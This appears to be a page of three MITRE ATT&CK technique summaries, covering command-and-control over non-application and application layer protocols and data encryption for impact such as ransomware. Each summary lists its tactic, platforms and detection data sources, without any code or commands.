Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre